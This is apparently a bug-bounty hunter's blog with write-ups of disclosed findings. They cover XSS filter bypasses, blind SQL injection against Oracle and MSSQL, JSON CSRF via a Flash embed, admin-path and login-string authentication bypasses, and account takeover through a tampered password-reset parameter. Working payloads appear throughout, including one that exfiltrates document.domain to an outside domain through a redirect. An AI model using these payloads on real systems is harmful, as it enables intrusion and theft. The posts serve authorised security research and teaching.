Showing posts with label BugBounty. Show all posts
Showing posts with label BugBounty. Show all posts

Tuesday, October 13, 2020

I had fun with this XSS

Recently, in a private bug-bounty program I've found an interesting XSS vulnerability where the vulnerable endpoint limits the use of special characters. The user's input got reflected in the following:

<script type="text/javascript">
            window.onload = function () {
                window.location = 'https://url/reflected-point'

It looks like a straightforward XSS vulnerability when it was possible to break the tag using the ' character. Generally, the following payload '-alert(0)-' should work, but unfortunately, the actual challenge just started.

I found that most of the special characters were filtered (as in removed from the content when they were inserted). After a minimal fuzzing, the following special characters were the only accepted and reflected via this endpoint:

, . = : @ # ? * %


I tried to confirm if this is still possible through experimenting on JSFiddle. I noted that instead of using - , we can use the comma sign too when the reflection point is the same as the codes mentioned above. Means, ',alert(0),' is actually possible.


Now, it is not done yet. Remember that parentheses are not allowed.

Thus, I tried to look for any ways to execute an alert box as it is an easy way to demonstrate an XSS vulnerability. However, none of the ways that seem possible using the allowed special characters in this situation..except, location=name

I started focusing on that and at the same time asking ideas from people in Slack and my CTF team. I found out through JSFiddle, the following payload seems possible. 

',document.location='javascript:document.domain','


Done? Not yet. It was a success when I tested in the JSFiddle, but it was not when tried on the vulnerable website. This was because it will throw 500 error message when it detects if the request contains the unpermitted strings match like javascript:document.*

The further test found that I can redirect the request through window.location=http://url. At first, it was a fail as // characters are not allowed. However, the request still gets redirected without the slashes. window.location=http:url was possible 

At this stage, it already enough to prove the JavaScript execution. But from the triager/customer perspective, this seems just like an open redirection vulnerability. I still need to show that it is possible to exfiltrate the content to the external domain. Easy? Yeah, the following payload should work basically..
',window.location='http:my-url/'%2bdocument.domain%2b,'

But no..it was not working..since the payload contains / again. Thus, there's another bummer. Until my CTF team member, johnburn, told me to simply parse the content that I want as the subdomain instead. Similar to exfiltrating data via DNS. Honestly, I have never tried that. But..it actually works!

So the final payload was:
',window.location='http:'%2bdocument.domain%2b'.my-burp-domain','

And of course, it got accepted :). It is always great to learn something new and share with everyone. If there's another way that should work, feel free to share it with the community.





Thursday, April 16, 2020

Tricky Oracle SQL Injection Situation

Recently I learnt few new stuff when solving SQL Injection found during pentest and also bugbounty. One of the new technique that seems new to me is the one that I learnt from my master, pokleyzz. This injection was found in a recent bugbounty program and the actual path/parameter were replaced.

The injection was found on the "idNumber" parameter of the following endpoint
/foo/?theName=YAP&idNumber=248001[here]
Common payloads were performed on this target and initially, I found the following payloads were working to identify TRUE/FALSE condition

/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE
/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE 

and also able to use pipe operator too

/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE

With these conditions, I was able to narrow down the database used by this application to Oracle, PosgreSQL, IBM DB2 or Informix.

At first, I thought this can be done using the same technique that I know:

See : https://blog.yappare.com/2012/04/advance-oracle-blind-sql-injection.html

However, the CASE() was not working. After few attempts, I stopped to figure out on using CASE(). Next, this technique was tried:

See: https://blog.yappare.com/2017/03/blind-sql-injection-in-erim-not-sure.html

No joy. Dead end. After almost two days of trying, I give up doing it myself and ask helps from few friends.
No luck. I tried my last option, pokleyzz. In just less than an hour, he showed me the technique that can be used.

/foo/?theName=YAP&idNumber=248'||<bruteforce any known SQL functions here>||'001

As a result, I found "rownum" was accepted and this indicates the DBMS is Oracle. To reconfirm, the following was queried:

/foo/?theName=YAP&idNumber=24800'||rownum||'

The above payload result in the website displayed list of "theName" product that starts with "idNumber" 24800

Interesting! Now how we can at least extract data from this injection? Another blocker was identified. It seems the application filtered/replaced the following characters
_ ( ) + . whitespaces
While I found this seems another dead end, pokleyzz showed another brilliant way to extract the data using the following payload:

 /foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"
Then final step was:

 /foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%
 I ran the Intruder on the above attacking point and voila, got the username 😼

As always, pokleyzz is the best master I have. 💻

Bye.

Wednesday, January 17, 2018

$1800 in less than an hour.

Sometimes, visiting an old program is gold.

October, 2017. I just finished writing up my report and while waiting the report ready for QA process, I visited one of my favourite program in Bugcrowd, Indeed.com

I noted that the program went public and also the reward had been increased. Since it went public plus with a wide-scope targets, as I'm expecting, the vulnerabilities found must be huge.



That was not an issue at all. If you guys following the tips given through my presentations in Levelup, ChCon or Bsides NZ, one of the way that I usually will look at is 'less-participant' target. As the targets are inclusive *.indeed.com/*, I tried to find any available browser's extension by Indeed.com..There's one for Chrome :)


Not really expert in identifying vulnerability in browser's extension, so I poked around people in bugbountyforum.slack.com asking for some guides.

Installed the extension in Chrome. Checked on the scripts used in this extension, not many joys. Turned my BurpSuite to see how's the extension being used and found that it is possible for a straight forward self-stored xss which will be executed under jobox.indeed.com domain
POST /api/jobApplication? HTTP/1.1
Host: jobox.indeed.com
Connection: close
Content-Length: 117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: INDEED_CSRF_TOKEN=token

{"status":"WISHLIST","url":"javascript:alert(0)","notes":"test","jobTitle":"test","companyName":"texst","userId":"1"}
Self-XSS might not be rewarded. So, one of the way to exploit it is via CSRF attack. What a luck, the CSRF-Token was not properly validated. Knowing the CSRF was not effective plus the response was in JSON, I remembered that there's a blog mentioned it is possible to perform CSRF attack even the response is in JSON - https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/. Also, thanks to the tool created by sp1d3r, the exploiting process was easier.

Put all of them in one HTML request,

<embed src='http[s]://[yourhost-and-path]/test.swf?jsonData={"status":"WISHLIST","url":"javascript:alert(document.domain)","notes":"test","jobTitle":"test","companyName":"test"}&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=https://jobox.indeed.com/api/jobApplication?></embed>



The reward was spent for my holiday trip in December..all thanks to the 1 hour effort spent in the program :D

Thanks.

Sunday, August 13, 2017

Accidentally typo to bypass administration access

A new post from me to kill some times.

This was from an old invited private program in one of the bugbounty platform. This program offers $15,000 in total. There were several targets given, but most of them were limited in term of functionalities and forms.

One of the application in scope attracted me as it responded differently if viewed in a different browser's platform. Which means, you will only allowed to access their mobile site if the application detected your user agent is coming from Mobile. This application just consist of few functionalities such as
  • query for available *item*
  • view for available schedule
  • information of the certain *item*
  • no login
Based on the above functionalities, this seems like a common website that provides with a general information of their product/items. I spent few days looking on their Desktop Website and found few XSS. Looking at the source page of the website, I've noticed there's a script that contain a hyperlink to a mobile site. It looks something like below:
 <script type="text/javascript">
   var attr = "href";
   var value = "/mobileapps";
   elem.setAttribute(attr, value);
</script>
However, I was not able to access it directly using Desktop browser. I tried to change my user agent into Android's string, it worked!

Now I'm in their mobile site. Found another few XSS. Good. Considering the current findings, I'm probably will be rewarded up to $2000 in total. Good enough. But then, something is bothering me where from my Burp's request, there's a 302 redirect response whenever the Burp's Spider tried to access /admin path. Weird. I tried to check if there's any JS files that I can use to bypass this thing as what I did like in my previous blogpost.

No success. sadpanda.

But then, during the testing I've mistakenly typo'ed the /admin into /Admin (This happen regularly since using Macbook. The keyboard quite small for my finger's size)
To the surprise, due to that typo, I was able to access into the administration page. What a magic. It seems there was a weak configuration at their backend which only restrict access for /admin BUT not if the word contain at least one capital letter. /Admin, /aDmin/, /ADMIN all of these words can be used to bypass the check.

Now I'm in administration page. There were lots of functionalities inside and ALL of them were vulnerable. Reflected and Stored XSS, SQLi, CSRF, and etc. Submitted all of them. Out of $15000, 70% was mine :)

Lessons:
  1.  Do not forget to test in mobile environment 
  2.  Do not forget to test target's mobile site
  3.  Do not give up if the application looks really simple, there's probably a hidden administration page in it
  4.  Look on the application's response. If weird, try to bypass.
Till next time.
Cheers.

Monday, June 5, 2017

From JS to another JS files lead to authentication bypass

This was found in a private bug bounty. The scope is limited to a few of features that available to the public. Based on the previous reported issues (5 bugs submitted by others so far when I was initially invited), seems it is hard to find a new issue. It also mentioned in the bounty details that

If you manage to get into Administration page, report immediately and do not pivot or further testing in /admin

However, there is an administration page which was restricted to unauthenticated and unauthorised users. Browsing to /login or /admin will redirect us to https://bountysite.com/admin/dashboard?redirect=/

Bruteforcing the login page probably an option but I'm not a fan of bruteforcing a login page. Looking at the source page, nothing much useful. I started looking on the application's structure. It seems the JS files were located in few directories such as /lib, /js, /application and etc.
Interesting.

I run the BurpSuite and run the Intruder to identify any accessible JS files in these directories. Set the path of attacking/fuzzing points at https://bountysite.com/admin/dashboard/js/*attack*.js 
Yep, make sure you didn't forget the .js so we will receive the 200 response if the file is accessible. Interesting, again. Because one of the accessible JS files was /login.js

Accessing the JS file https://bountysite.com/admin/dashboard/js/login.js redirect me to the Administration page :) But, I have no permission to view it. Only partial of the interface can be seen.

SadPanda.jpg


But I didn't stop at here. It seems weird why the page is loaded as an HTML while I browsed to a .js file? After playing around, I noticed that the actual reason that allowed me to get into this administration page was because the *login* word. Yes, as long the request after /dashboard/ contains a word with the string of *login* (exception to 'login', this will only redirect me back to the login page.), will allow us to get into this Administrator's interface, but without a right authorisation.

Further tests were performed from this limited Administration's interface. I looked into the source page and again, trying to understand the structures. From this interface, there are some other JS files that helps me to understand how an administrator can perform an action. Some of the action require a valid token. I tried to perform the action using the leaked token in one of the JS file, not working. The request will be redirect back to the login page. Looked on another JS file, I found there's another path that actually exist which served some content. It was /dashboard/controllers/*.php

Again, I run the Intruder to check if there's any other path which can be accessed from here. From the second Intruder attacks, I found few other paths that were exist but have no authorisation to access it. This was based on the 500 or 200 HTTP response.

SweetPanda.jpg
Back on the structures that I learnt in the first phase of recon, I found that these path were defined by /controllers and being used thru /dashboard/*here*/
However, another bump, directly accessing the path will redirect me to the login page. Seems the session checking quite tough over here. I was about to give up at this point and also sleepy too, but I want to try a last attempt. What if I used the same method to access the Administrative page to access and perform these actions?
Interesting, climax. :) I'm able to do so.

By browsing to the /dashboard/photography/loginx redirected me to the Admin Photography page with the full functionality that I can use.

Photography functions.

From here, I'm able to perform and access all the available actions and paths in  /dashboard/* which was full with other vulnerabilities such as SQLi, XSS, File Upload, Open Redirect and etc. However, I didn't attempt more on it as all of these issues were out of scope as what had been defined by the program to immediately report to them if the Administration's authentication was found broken. Also, additional notes that I noticed from the debug error enabled on the Administration's page, what made I'm able to access these Administration pages was because of the misconfiguration of the application at /dashboard/controllers/* lines where whenever a *login* found in the request, the application should redirect to the main login page, however, it was not working as it was intent.

It was a fun day indeed :)
I was rewarded with the Max amount of this program.

Chio.

Wednesday, March 29, 2017

Blind SQL Injection in er..I'm not sure what's the DBMS is.

A short blogpost from me.
Recently participated in a private bounty program and found an SQL Injection issue on one of the available parameter.

Injection looks like follow:

id=11) and (1=1
Normal eh? But SQLmap and few test cases from me could not determine the DBMS it used. High chance it is MSSQL, MS Access or Jet Database. This is from the observation seen on the patterns that can be seen. I've also asked people around to conclude this. Manage to provide a simple POC such as
id=11) and 1=1 and (1=1 
id=11) and 12 and (1=1
to show the existense of TRUE FALSE condition. But still, to convince the program owner, at least, we need to show it is possible to extract table_name or column_name. After a day of trying, I've figured out how to make the POC. How silly, it is so simple!
 id=11) and (<column_name>=<column_name>
So, if the column_name is exist, it'll be TRUE while if not exist, it'll be FALSE. How to automate it?
All we need to do is run our Burpsuite, send the vulnerable parameter to Intruder. Use Battering Ram attack type, and choose our own wordlist contain the list of column_name. I used the one in SQLmap common_columns.txt

Result as follow:


Easy!

Thanks

Friday, December 9, 2016

Bug Bounty : Account Takeover due to a Misconfiguration

First of all, I would like to thanks Bugcrowd's analyst especially beemo_bugcrowd for patiently updating the issue during the validation process.

Fiat Chrysler Automobiles announced their public bug bounty program through Bugcrowd in July 2016. More details can see it here: https://bugcrowd.com/fca
As always, I will try to poke around to see how many of the reports are currently being handled by the Bugcrowd for this program as if there are too many crowd, usually I will opt out from it. And the result, yes, there are lot of them especially XSS and CSRF issues. That was the reason these two issues immediately excluded to allow analyst team to filter out them.

I'm targeting Mopowerconnect.
Mopowerconnect


Due to that, I try to look on the other angle and I noticed something which is weird in my view which is the way account was created in Mopowerconnect (was in scope but now excluded). Why? Please refer the figure below:

Authentication process


*this is just based on my observation and own hypothesis during the testing.

To detail the figure above:
  1. When a user creates an account at Mopowerconnect, the request will be sent to Chrysler to generate the authorisation and then at the same time will create another independent account which only be used by Sharepoint.
  2. Means, if you create User1 at Mopowerconnect, Chrysler will processing it and provide you with the authorisation for Mopowerconnect as User1, and at the same time it will create another account for you which is to be used in Sharepoint, assume as UserS1.
How do I know there's a Sharepoint at the backend? This is because there's a misconfiguration which allow an attacker to directly access that framework through URL such as /_catalogs/masterpage/etc/etc . I first submit the misconfiguration issue, it was a dupe. Then I went to look around this Sharepoint pages to understand why it exist. There I noticed that, I'm browsing the Sharepoint pages using UserS1 account, not User1. 

Sharepoint UI

I went back to check on my Burp HTTP history to look on all of the responses. Then I found the request and the parameter that supply my another account, UserS1. It was weird to see there are two types of ID on the request.

Request made at Chrysler


 Then I created another testing account to double verify my hypothesis. And it is proven. At this point, I still can't think what's the best scenario I can do. Then, the idea came in. What if I try to reverse the process? Reset the password :)

The request when resetting the password looks similar. Thru Mopowerconnect UI you request to reset the password, then Chrysler will process it and send the information to the Sharepoint to be updated. Interesting.

Again, I reset the password but this time I've modified one of the value before Chrysler send it to the Sharepoint which is PRF_UID. I changed it into my second account and voila! The account was compromised :)

Combining with the issues due to the misconfigured access to the Sharepoint, I'm able to enumerate list of PRF_UID belongs to another users including the admin. And yes, I can takeover the admin's account as well.

Submitted to Bugcrowd, and it is not smooth as I assume because the request was actually being made at Chrysler domain which is out of scope. I knew that but since the issue is considered as Critical, I kept on insist them to forward the report to the client and let FCA themselves decide on this. Two different analysts reviewed the report and marked as Out of Scope. I was at the point to give up until I made a decision to email the issue to the FCA team myself. I used the Bugcrowd's support medium to deliver the message to the FCA team and also did ping another technical team from Bugcrowd to re-review it.

A week later, 

FCA team replied

 At a month later, the issue was fixed!
Fixed!
Thanks!

Sunday, April 24, 2016

Drag Drop XSS in Google ;)

Hi,

It was started with a tweet from Dr. Mario here https://twitter.com/0x6D6172696F/status/558346300790276096


Trying to understand the issue, I read on the comments and there's someone mentioned it is possible due to different format copied from OpenOffice such that. And Dr. Mario share his research on this and it is really interesting. http://www.slideshare.net/x00mario/copypest

Then, end of last year, noticed there's an XSS discovered by Harry in Google Docs using the drag drop technique. And due to improper validation HTML code read by Google Docs, the XSS can be executed http://hmgmakarovich.blogspot.my/2015/11/stored-xss-in-google-docs-bug-bounty.html 

I tried to look around Google Docs. Harry's submission did resolved, however, there's a module in Google Docs/Sheets/Drawing/Presentation where it allow a user to create a drawing. This module however does not fix yet.

Create a simple HTML file with our XSS payload, drag and drop into the drawing module, and the XSS is there :)

What make it interesting is that, I did take a look on the response given by the Google whenever a valid image or other different payload used. There were differ!

The drawing module was actually only looking for a valid image where it can come from user's computer or external source. If the source contain a valid image, the image then will be uploaded and properly embedded. If the image is broken, then it is broken. This is where the XSS payload below take in place.
<img src=nonvalid.jpg onerror=alert(0)>

This is because, the payload will execute if the source is broken (error). I tried using another payload such as onload,onmouseover etc, the XSS would not working! So here's a challenge. How we are going to make sure the image is loaded on victim's side, but once the victim drag into Google Docs, the image then will broken? Simple thought I used the valid image that exist in most of Windows users computer..yes..in C:\Users\Public\Pictures\Sample Pictures :)


 However! This submission was submitted by another researcher and this became a duplicate..but..

It was not in Google Images :)


Thanks!

Saturday, February 27, 2016

A Quite Rare MSSQL Injection

Hi,

Going to share a vulnerability that was discovered last year (for bounty program) that for me, quite a rare one and it was the first that I had found since my involvement in pentesting world.

The website was using Microsoft SQL Server and one of the parameter was vulnerable to Blind SQL Injection attack. How did I know? Obviously by triggering the TRUE/FALSE condition.

http://bounty/yadayada.asp?id=8888'+AND+'1'+LIKE+'1 --> page will be loaded normally.
http://bounty/yadayada.asp?id=8888'+AND+'2'+LIKE+'1 --> page will be blank. 

Nothing fancy here. Just a normal/common testing to check on the vulnerability. The problem came after that where:

  1. It is only shows the SQL Injection behaviour in Blind Attack
  2. Scanner/SQLMap was not working
  3. Seems it was using Stored Procedure method (I not sure, I'm noob here)
Few ways tried but none were successful in order for me to provide a working POC to the program. Further analysis I noticed that, the application was actually only able to response integer value with the user's privilege in used.

Had no idea on that until found a post by v1d0q in https://rdot.org/forum/showthread.php?t=826

The last query shown was new to me on that time, but surprisingly it was working!
http://bounty/yadayada.asp?id=8888'+AND+(@@TEXTSIZE>@@LANGID)+AND+'1'+LIKE+'1 --> page will be loaded normally.
http://bounty/yadayada.asp?id=8888'+AND+(@@LANGID>@@TEXTSIZE)+'1'+LIKE+'1 --> page will be 
blank
Further read I found that what I was actually trying to query is an existing Transact-SQL inside a MSSQL where its return types is either integer or smallint. And usually, these return types already have their own value.

Such as an example:
@@LANGID usually will be 0 for default (English language)
@@TEXTSIZE can be bigger than 1000

Didn't stop at there, I tried using another Transact-SQL to ensure my result is not a false-positive. And most of the query did the positive job :)
Submitting this limited POC to the program's owner, luckily they view and confirm the issue at their backend as well. Rewarded and satisfied!


Here are examples performed on a testing server.




Disclaimer: I still don't know the exact explanation behind this issue. Need to locate some times and do some research in future :)

References:
https://rdot.org/forum/showthread.php?t=826
https://msdn.microsoft.com/en-us/library/ms186266.aspx
https://msdn.microsoft.com/en-us/library/ms177687.aspx
http://www.sqlservercurry.com/2010/11/change-default-language-for-sql-server.html


Sunday, August 3, 2014

I hate you, so I pawn your Google Open Gallery

Hi, long time no see. Quite busy with works and probably will not able to update too much in future.

Going to share with you guys another bug I found in Google.
The bug as shown below.
Google is currently open service port 80 and 443. These ports are exposing what kind of service they're using. This bug worth $10k. Ok. Just a joke. Lets be serious.

Last time I found a bug in one of Google's service, Open Gallery. Using this service, it allows a user to share their exhibition art stuff (sorta) and each of the exhibition will be given a specific URL at *.culturalspot.org domain. And, this domain cannot be changed once we saved the name.

I created two different account for Open Gallery.
  1. jablor.culturalspot.org (using attacker@gmail.com) -
  2. test333.culturalspot.org (using prakhar's_motorbike@gmail.com)
Both of the current state for its exhibition page as shown below.
jablor.culturalspot.org

test333.culturalspot.org         
 I have some revenge at prakhar's_motorbike@gmail.com, and luckily this guy currently selling his arts using Open Gallery (test333.culturalspot.org). Lets pawn his Open Gallery!

What I'm doing below shows that
  1. I run up my Burpsuite in my account and try to save my current setting.
  2. I trapped the request during the saving process and change my domain from jablor.culturalspot.org into my target's URL, test333.culturalspot.org
  3. What happen? His Open Gallery stuff changed into mine and his domain owned by me. He will see his domain as my content and the content itself will be controlled by me. :)
Trigger up Burp and change the domain

My original culturalspot will be non-exist as its already changed into victim's URL
Victim's culturalspot with my content :)


That's all guys. Have fun.
This was fixed by Google Team :)

Wednesday, June 11, 2014

XSS in Google MapMaker

Hi,
Its been a while..just get back to my blog and what I can see is similar to..
sorry my dearie blog.

Ok. Going to share my old bug with Google BugBounty VRP. Its an XSS in the MapMaker,a tool to create/modify the Google Map I assume.

The bug exist on the comment form.

1 - Find any place(s) that you want to edit.
2 - Go to comment form and put your XSS payload. Easy Pitsy! :D


oh yea..your "><img src=x> and <a href=x> payload wont working for this case. Seems there's some filter happening in case we are using those payloads. Luckily, they missed-out <iframe> :)




cio :)

Sunday, February 2, 2014

Youtube - Stored XSS Strikes Back!

Hi,
Remember above picture? Most of you might thought its an XSS vulnerability in Gmail, sad to say it is not.haha..The bug actually exist in Youtube Api. Yes, similar to my previous post Yay the Nay in Youtube, this bug also came from the same Youtube Api.

The vulnerable parameter was track's name. Interesting part is, if you try to use XSS payload directly as track's name, it won't working. An error will appear saying you're trying to use special characters that are not allowed.

But due a glitch occur in this section, I was able to change the track's name by using "edit" function. By directly replay the request or tamper it, I can change the old_name into a new name with my XSS payload as shown below.


Once saved, the XSS successfully stored in my video. So does it mean if you watch the video from www.youtube.com it'll executed? Sadly, no. However, the XSS can be executed in Gmail, Google Docs/Presentation and Google Plus. This is because the video will be played using Google's player that was affected with this vulnerability.




Simple right?
Till next time,adios!

@yappare

10 January 2013 : Reported to Google
11 January 2013 : Received notification from Aleksandr, Google Security Team
12-14 January 2013 : Bug noticed was fixed around this date.
15 January 2013 : Received email regarding reward
22 January 2013 : Confirmation of fix from Google's team.


#edit: Prakhar my friend said that this XSS actually execute on youtube main domain as well since he was double check for me on that day and it work in www.youtube.com. sadly I dont have the screenshot as a proof

Tuesday, January 14, 2014

Again, from Nay to Yay in Google Vulnerability Reward Program!

Happy new year to everyone. This is my first post for 2014.

On 9th January 2014, I posted this on my twitter
https://twitter.com/yappare/status/421470672330571777/photo/1
So is this post related to that? Will get to it soon or probably next month.haha..
In this post I'm going to share to you a bug that manage me to be inside  Google Vulnerability Reward Program G+ Community here

The bug is a Self Stored XSS in Youtube. Yerp..

Let us see how the XSS exist.
  1. In Youtube video manager, there's a function for a user to create Captions for his/her video(s).
  2. Put our XSS payload in the script box and save.
  3. Once we play the video, our XSS will be executed.
  4. Check on below screenshots :)







But..there's a problem! The XSS only executing in Caption's Video Manager. Which in other word the XSS is only stored for that user only.
Hmmm...
There's must be a way to exploit or to manipulate this vulnerability. Last time I managed to find a way to Yaying this Nay in Google Adwords. You guys can check on it http://c0rni3sm.blogspot.com/2013/12/google-adwords-stored-xss-from-nay-to.html

I browsed a few times to see is there any share or embed function in this Captions thing. And then..

                                         

I noticed that, there's a function where a user can request for a translation from 3rd party or other users. So how this function working?
  1. User request for his/her video for a translation.
  2. User able to choose either from 3rd party or by other Google Users.






Manipulating time.Let assume that, there's a community for English series, Movies, Korean dramas that have some translator for Youtube's caption..and among them, there's an attacker >: )
  1. Attacker will received the invitation.
  2. Attacker put his/her evil code in the middle of translations.
  3. Send to the requester for approval.




Once done, the requester will get an email notification and what she/he need to do is review the translated caption and approve it. So what happen next? The XSS will be executed 


and





Till next time, adios!

@yappare


03 December 2013 - Reported via VRP form
07 December 2013 - Received a reply from Martin,Google Security Team
07 December 2013 - Google Team asked for more information to reproduce
08-10 December 2013 - Fixed around these dates.
11 December 2013 - Received a reward email from Google
10 January 2014 - Kevin,Google Security Team confirmed the fix.